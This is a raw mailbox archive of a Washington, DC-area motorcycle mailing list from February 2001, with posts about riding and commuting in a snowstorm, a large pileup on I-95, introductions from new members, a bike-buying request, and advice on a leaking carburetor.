blue sidecar rig headed south on the 395 HOV lanes? I've > this rig a couple times in the last week, made me shiver. And today??? > Good grief!!! Hope the gas tank was full `cause traffic was inching > south. Anyone on this list? > > Bill > > From dc-cycles-request Thu Feb 22 14:58:05 2001 Return-Path: Received: from web312.mail.yahoo.com (web312.mail.yahoo.com [216.115.105.77]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MJw4n00202 for ; Thu, 22 Feb 2001 14:58:04 -0500 (EST) Message-ID: <20010222195803.25699.qmail@web312.mail.yahoo.com> Received: from [166.90.27.163] by web312.mail.yahoo.com; Thu, 22 Feb 2001 11:58:03 PST Date: Thu, 22 Feb 2001 11:58:03 -0800 (PST) From: "Louis F. Caplan" Subject: Re: who wuz that brave man??? To: dc-cycles list In-Reply-To: <001f01c09d08$b6f54380$bb82fea9@pawilson> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii I just got home, and if I had to do it all over again, I'd probably stay at work late. While I was fortunate in that I didn't get in an accident (6 years driving in Rochester, NY, where this kind of snow would be considered nothing), there was an accident just about every other block on my route. The radio is saying that if you have an accident with no injuries, don't even hope for the police to come by to help sort things out. As for the wreck on 95 S, last count is 114 cars, and possibly up to 130. People are being stupid and pulling their cars over on to the shoulder, then deserting the car. As a result, the emergency vehicles can't get through, and have to come up from the south to get to the accident. Supposidly the snow will stop around 4 pm or so, but I'm sure the clueless BDCs will be out there for hours afterwards. Louis __________________________________________________ Do You Yahoo!? Yahoo! Auctions - Buy the things you want at great prices! http://auctions.yahoo.com/ From dc-cycles-request Thu Feb 22 14:59:01 2001 Return-Path: Received: from mailbox.office.aol.com (x98A3A1E1.pix.aol.com [152.163.161.225]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MJx1n00212 for ; Thu, 22 Feb 2001 14:59:01 -0500 (EST) Received: from nawt.office.aol.com (nawt.office.aol.com [10.0.31.252]) by mailbox.office.aol.com (8.8.7/8.7.3) with ESMTP id OAA14999 for ; Thu, 22 Feb 2001 14:58:51 -0500 (EST) Received: from localhost (cerberus@localhost) by nawt.office.aol.com (8.10.2/8.10.2) with ESMTP id f1MK2VC09648 for ; Thu, 22 Feb 2001 15:02:32 -0500 (EST) X-Authentication-Warning: nawt.office.aol.com: cerberus owned process doing -bs Date: Thu, 22 Feb 2001 15:02:31 -0500 (EST) From: Dave Paper X-X-Sender: To: Subject: Re: another newbie In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Feb 2001, John West wrote: > > Just wanted to introduce myself: > > I live in Reston, VA and ride a red and white '91 CBR600F2. My daily > commute is all the way to Herndon (4 miles!) so chances are you won't > see me during the week unless I go out at lunch. Some of us get to do the Sterling to Reston commute. I might see you, but not until the snow stops :) -dave 96 Vulcan 1500 classic -- Dave Paper AOL Search Operations cerberus@XXXXXX MCSE = Must Consult Someone Experienced --Jay It's no coincidence that people who blindly rely on computers and drugs are both called "users". --Unknown From dc-cycles-request Thu Feb 22 15:01:39 2001 Return-Path: Received: from pmesmtp02.wcom.com (pmesmtp02.wcom.com [199.249.20.2]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MK1dn00311 for ; Thu, 22 Feb 2001 15:01:39 -0500 (EST) Received: from pmismtp03.wcomnet.com ([166.38.62.38]) by firewall.mcit.com (PMDF V5.2-32 #42257) with ESMTP id <0G9600FOVCXOVN@XXXXXX> for dc-cycles@XXXXXX; Thu, 22 Feb 2001 20:01:00 +0000 (GMT) Received: from pmismtp03.wcomnet.com by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with SMTP id <0G9600901CX6CJ@XXXXXX>; Thu, 22 Feb 2001 20:00:59 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp03.wcomnet.com (PMDF V5.2-33 #42258) with ESMTP id <0G96006DKCWVSC@XXXXXX>; Thu, 22 Feb 2001 20:00:31 +0000 (GMT) Date: Thu, 22 Feb 2001 15:00:27 -0500 From: Dale Horstman Subject: Re: who wuz that brave man??? To: Paul Wilson Cc: dc-cycles list Message-id: <3A956FDB.713C1EB3@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <3A955BA9.B33C4BF0@patriot.net> <001f01c09d08$b6f54380$bb82fea9@pawilson> Paul Wilson wrote: > > Looks like it will be "Plan B," AKA Metro, for me tonight. If I were caging > it I'd leave work _now_. It's only going to get worse with all the BDCs, > especially since we haven't had much snow this winter and people have short > memories. A cab did a 180 and almost took out a pedestrian on Washington > St. a few minutes ago. Actually, from a look at the regional weather, it looks like the snowstorm has almost passed us by... Road conditions might be better in an hour if it stops snowing and the road crews can play catch-up. http://www.intellicast.com/LocalWeather/World/UnitedStates/MidAtlantic/Virginia/Sterling/Radar/ I listened to the weather report this morning, and chickened out and took the 4 wheeler, so I shouldn't have much trouble regardless. Those of you who did ride today, ride safe going home. Dale -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Thu Feb 22 15:02:40 2001 Return-Path: Received: from beta.nova.org (beta.nova.org [209.31.144.41]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MK2dn00331 for ; Thu, 22 Feb 2001 15:02:39 -0500 (EST) Received: from members.fcac.org (members.fcac.org [209.31.144.35]) by beta.nova.org (8.10.1/8.10.1) with ESMTP id f1MK2XQ27999 for ; Thu, 22 Feb 2001 15:02:34 -0500 (EST) Date: Thu, 22 Feb 2001 15:02:32 -0500 (EST) From: Kirk Roy X-Sender: kirk@XXXXXX To: DC-Cycles Mailing List Subject: Re: newbie In-Reply-To: <000b01c09cbd$4a31bee0$f9280a3f@pavilion> Message-ID: Organization: Northern Virginia Internet Access Cooperative MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Feb 2001, ricardopontes wrote: > I am new to the group. I live in Burtonsville, MD. I just started > motorcycling. I own a Triumph tiger 1998, and a small 100cc kawasaki > ke100. I am hoping to join some group rides if there are some > available in this group. It sounds like what we need to do is to have a <100cc ride. I'll bring my KE100. We can get the YSRs, KEs, and 50cc Aprilias together and go marauding... :) Kirk 2000 Kawasaki KLX300 (http://planetklx.dirtrider.net) 1998 Honda VTR1000 (http://members.nova.org/~kirk/Kirk1.jpg) DCOffroad - the Wash, DC area offroad e-mail list: http://www.egroups.com/community/dcoffroad From dc-cycles-request Thu Feb 22 15:19:02 2001 Return-Path: Received: from dgesmtp02.wcom.com (dgesmtp02.wcom.com [199.249.16.17]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MKJ1n00644 for ; Thu, 22 Feb 2001 15:19:01 -0500 (EST) Received: from pmismtp02.wcomnet.com ([166.38.62.37]) by firewall.mcit.com (PMDF V5.2-33 #42261) with ESMTP id <0G9600EMVDLLDT@XXXXXX> for dc-cycles@XXXXXX; Thu, 22 Feb 2001 20:15:22 +0000 (GMT) Received: from pmismtp02.wcomnet.com by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with SMTP id <0G9600A01DLGDR@XXXXXX>; Thu, 22 Feb 2001 20:15:21 +0000 (GMT) Received: from home.com ([166.36.152.226]) by pmismtp02.wcomnet.com (PMDF V5.2-33 #42259) with ESMTP id <0G96007GRDL61I@XXXXXX>; Thu, 22 Feb 2001 20:15:06 +0000 (GMT) Date: Thu, 22 Feb 2001 15:15:02 -0500 From: Dale Horstman Subject: Re: who wuz that brave man??? To: "Louis F. Caplan" Cc: dc-cycles list Message-id: <3A957346.569AA48F@home.com> MIME-version: 1.0 X-Mailer: Mozilla 4.7 [en] (WinNT; I) Content-type: text/plain; charset=us-ascii Content-transfer-encoding: 7bit X-Accept-Language: en References: <20010222195803.25699.qmail@web312.mail.yahoo.com> "Louis F. Caplan" wrote: > > People are being stupid and pulling their cars over on to the shoulder, then > deserting the car. I've got to ask - why? Are they walking home? Do they expect to find their cars sitting there when they get back? I don't understand the thought process here... -- Mandatory second line (CM tm) Dale Horstman - the.horkster@XXXXXX Dale City, Virginia, USA, Earth '98 Kawasaki Concours - BugSlayer '99 Kawasaki Concours - Grape Nehi '82 GS850G, '87 Concours - project bikes From dc-cycles-request Thu Feb 22 15:26:58 2001 Return-Path: Received: from ws3.us2.outblaze.com (ws3.us2.outblaze.com [208.184.211.199]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MKQvn00770 for ; Thu, 22 Feb 2001 15:26:58 -0500 (EST) Received: (qmail 11276 invoked by uid 1001); 22 Feb 2001 20:26:45 -0000 Message-ID: <20010222202645.11275.qmail@theglobe.com> Content-Type: text/plain; charset="iso-8859-1" Content-Disposition: inline Content-Transfer-Encoding: 7bit Mime-Version: 1.0 X-Mailer: MIME-tools 4.104 (Entity 4.117) From: "Matthew Patton" To: dc-cycles@XXXXXX Date: Thu, 22 Feb 2001 15:26:45 -0500 Subject: looking to buy a bike guy here at work is looking to buy a "sport" bike in the 600cc class. I have to question his reasons (GSXR?) but in any event if you have a bike you'd like to sell for 5000 or less, can you send me a description? I've been trying to steer him toward -- "Civilization can only begin when sex is restrained." - Sigmond Freud _______________________________________________ Get your free email from http://mail.theglobe.com Powered by Outblaze From dc-cycles-request Thu Feb 22 15:28:49 2001 Return-Path: Received: from mr3.ash.ops.us.uu.net (mr3.ash.ops.us.uu.net [198.5.241.88]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MKSmn00845 for ; Thu, 22 Feb 2001 15:28:48 -0500 (EST) Received: from [153.39.169.205] by mr3.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ippool169-205.corp.us.uu.net [153.39.169.205]) id QQkdnd26252; Thu, 22 Feb 2001 20:28:47 GMT From: dsnyder@XXXXXX Mime-Version: 1.0 X-Sender: dsnyder@XXXXXX Message-Id: In-Reply-To: References: Date: Thu, 22 Feb 2001 15:28:45 -0500 To: Dave Paper Subject: Re: another newbie Cc: Content-Type: text/plain; charset="us-ascii" ; format="flowed" And lastly, I'm on the Herndon to Sterling route. :-) Brutal 2 mile commute at 8am. BDC's! Dan 00 RSV At 3:02 PM -0500 2/22/01, Dave Paper wrote: >On Thu, 22 Feb 2001, John West wrote: > > > > > Just wanted to introduce myself: > > > > I live in Reston, VA and ride a red and white '91 CBR600F2. My daily > > commute is all the way to Herndon (4 miles!) so chances are you won't > > see me during the week unless I go out at lunch. > >Some of us get to do the Sterling to Reston commute. I might see you, but >not until the snow stops :) > >-dave >96 Vulcan 1500 classic > >-- >Dave Paper AOL Search Operations cerberus@XXXXXX >MCSE = Must Consult Someone Experienced --Jay >It's no coincidence that people who blindly rely on computers and drugs >are both called "users". --Unknown From dc-cycles-request Thu Feb 22 15:32:01 2001 Return-Path: Received: from pollux.nevada.edu (ward@XXXXXX [131.216.1.217]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MKVxn00979 for ; Thu, 22 Feb 2001 15:31:59 -0500 (EST) Received: from localhost (ward@localhost) by pollux.nevada.edu (8.8.8/8.8.8) with ESMTP id MAA20520 for ; Thu, 22 Feb 2001 12:31:55 -0800 (PST) X-Authentication-Warning: pollux.nevada.edu: ward owned process doing -bs Date: Thu, 22 Feb 2001 12:31:55 -0800 (PST) From: "aaronspencerward@XXXXXX" To: dc-cycles@XXXXXX Subject: Re: another newbie In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Hey cool, another CBR owner. I have a pair of them (87 600F1 and 97 900RR) and look forward to meeting all the listers. But I've noticed the carbs on the F1 are dripping gas. I tightened up the drain screws, so that's not causing it to my knowledge. I'll be taking them off and poking around this weekend... anything I should be looking for in particular? Aaron __________________________________________________________________________ Aaron S. Ward aaronspencerward@XXXXXX Whatever happens, remember it's the journey, not the destination From dc-cycles-request Thu Feb 22 16:11:26 2001 Return-Path: Received: from cap1.CapAccess.org (garicao@XXXXXX [151.200.199.10]) by dirty.meretrix.com (8.10.0/8.10.0) with SMTP id f1MLBPn01637 for ; Thu, 22 Feb 2001 16:11:25 -0500 (EST) Received: (from garicao@localhost) by cap1.CapAccess.org (8.6.12/8.6.10) id QAA28766; Thu, 22 Feb 1973 16:19:15 -0500 Date: Thu, 22 Feb 1973 16:19:14 -0500 (EST) From: Garcia Oliver To: "aaronspencerward@XXXXXX" cc: dc-cycles@XXXXXX Subject: Re: another newbie In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII How many carbs are leaking and where are they leaking? If you can't tell, might try simple stuff first: don't remove, but do drain carbs and add in-line fuel filter. If you do pull carbs, look for sticking float or dirty float valve seat; or exessively high fuel level in float bowl. The latter can be checked with the carbs in place on some bikes---don't know about yours. --garcia On Thu, 22 Feb 2001, aaronspencerward@XXXXXX wrote: > > But I've noticed the carbs on the F1 are dripping gas. I tightened up the > drain screws, so that's not causing it to my knowledge. I'll be taking > them off and poking around this weekend... anything I should be looking > for in particular? > > Aaron > > __________________________________________________________________________ > Aaron S. Ward aaronspencerward@XXXXXX > Whatever happens, remember it's the journey, not the destination > From dc-cycles-request Thu Feb 22 16:28:38 2001 Return-Path: Received: from mr2.ash.ops.us.uu.net (mr2.ash.ops.us.uu.net [198.5.241.87]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MLSbn02011 for ; Thu, 22 Feb 2001 16:28:37 -0500 (EST) Received: from [153.39.169.205] by mr2.ash.ops.us.uu.net with ESMTP (peer crosschecked as: ippool169-205.corp.us.uu.net [153.39.169.205]) id QQkdnh10932; Thu, 22 Feb 2001 21:28:36 GMT From: dsnyder@XXXXXX Mime-Version: 1.0 X-Sender: dsnyder@XXXXXX Message-Id: In-Reply-To: References: Date: Thu, 22 Feb 2001 16:28:34 -0500 To: "Onur Topac" Subject: Re: Accident Alert Cc: Content-Type: text/plain; charset="us-ascii" ; format="flowed" Check out highwaynet.com if you're going south on 95. It's a parking lot. At 2:24 PM -0500 2/22/01, Onur Topac wrote: >Just heard from a friend... An accident involving more than 100 cars >happend on 95S in Prince William County. 95 S is CLOSED AT THAT >POINT. Turn in to your radio on the way home. From dc-cycles-request Thu Feb 22 16:34:00 2001 Return-Path: Received: from pollux.nevada.edu (ward@XXXXXX [131.216.1.217]) by dirty.meretrix.com (8.10.0/8.10.0) with ESMTP id f1MLXwn02108 for ; Thu, 22 Feb 2001 16:33:58 -0500 (EST) Received: from localhost (ward@localhost) by pollux.nevada.edu (8.8.8/8.8.8) with ESMTP id NAA24134 for ; Thu, 22 Feb 2001 13:33:54 -0800 (PST) X-Authentication-Warning: pollux.nevada.edu: ward owned process doing -bs Date: Thu, 22 Feb 2001 13:33:54 -0800 (PST) From: "aaronspencerward@XXXXXX" To: dc-cycles@XXXXXX Subject: Re: another newbie In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII On Thu, 22 Feb 1973, Garcia Oliver wrote: > How many carbs are leaking and where are they leaking? Well, I can't tell. Some days, there are drips of gas on all 4 of the carb drain nipples. Usually, just two of them. I peeked under there today